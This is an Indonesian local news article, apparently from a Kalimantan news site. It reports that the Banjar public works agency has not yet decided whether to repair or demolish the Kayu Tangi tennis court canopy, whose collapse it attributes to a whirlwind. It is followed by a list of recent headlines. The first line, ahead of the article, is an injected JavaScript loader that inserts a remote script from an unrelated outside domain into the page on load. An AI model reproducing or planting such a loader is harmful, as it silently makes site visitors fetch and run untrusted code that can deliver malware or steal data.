(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

PUPR Banjar Bahas Tindaklanjut Perbaikan Atap Kanopi Lapangan Tenis Kayu Tangi


MARTAPURA, Kejaksaan Negeri (Kejari) Banjar menghentikan penyidikan kasus ambruknya atap kanopi lapangan tenis Kayu Tangi, Jl Albasia, Kelurahan Keraton, Kecamatan Martapura Kota, Senin (15/1) lalu,. Namun kondisi lapangan masih belum ada kepastian untuk dilakukan pembersihan atau perbaikan oleh pihak instansi terkait.

Menanggapi hal tersebut Kepala Dinas Pekerjaan Umum Permukiman Rakyat (PUPR) Kabupaten Banjar M Hilman mengatakan, ambruknya lapangan yang dinyataka oleh rekomedasi dan hasil penilaian ahli yang ditetapkan berdasarkan keputusan mentri Pekerjaan Umum Republik Indonesia, diakibatkan oleh kegagalan bangunan force majeure, atau kerusakan yang disebabkan oleh alam di luar kemampuan manusia.

“Ambruknya lapangan karena di luar kehendak daya dukung dari memberan yang dihitung berdasarkan pembebanan standar. Yang kita ketahui dengan kecapatan angin maksimum, tidak mampu menahan beban akibat adanya puting beliung yang pada saat itu melebihi percepatan perencanaan,” jelasnya.

Berdasarkan hasil tersebut mengenai kondisi lapangan apakah akan dilakukan perbaikan atau pembongaran, PUPR masih akan mendiskusikan. “Lapangan itu memang bisa diperbaki lagi, namun apabila kita perbaki dengan kondisi seperti saat ini, tidak menjamin bangunan dengan desain seperti dulu akan tahan. Karena dari data dan informasi yang dikumpulkan kejadian angin ribut di tempat kita sekarang ini masih sering terjadi,” akunya.

Berdasarkan hal tersebut pihaknya masih belum memutuskan akan diapakan fasilitas lapangan tenis kayu tangi tersebut. Mengingat masih ada kekhawatiran kejadian serupa dan tidak memungkinkan untuk dilakukan perbaikan dalam waktu dekat ini.

“Kalau ingin dibangun atap seperti itu lagi, tentunya harus disesuaikan dengan desain perhitungan yang lebih kuat, mampu menahan hantaman puting beliung. Namun apakah itu efektif? Dengan biaya yang pastinya lebih besar lagi, maka dari itu kita kembalikan kepengambil kebijakan, itu yang harus kita pertimbangkan,” beber Hilman.

Yang akan dilakukan pihaknya sekarang adalah, menunggu hasil rekomendasi penilai ahli yang masih akan didiskusikan. Apabila disepakati daerah tidak mengizinkan membangun dari kontruksi yang ada, maka lapangan tersebut akan dibersihkan atau dibongkar. Mengingat jika dilihat kondisi sekarang bisa saja sisa bangunannya dapat membahayakan masyarakat yang berolahraga di sana. (rendy)

Reporter: Rendy
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.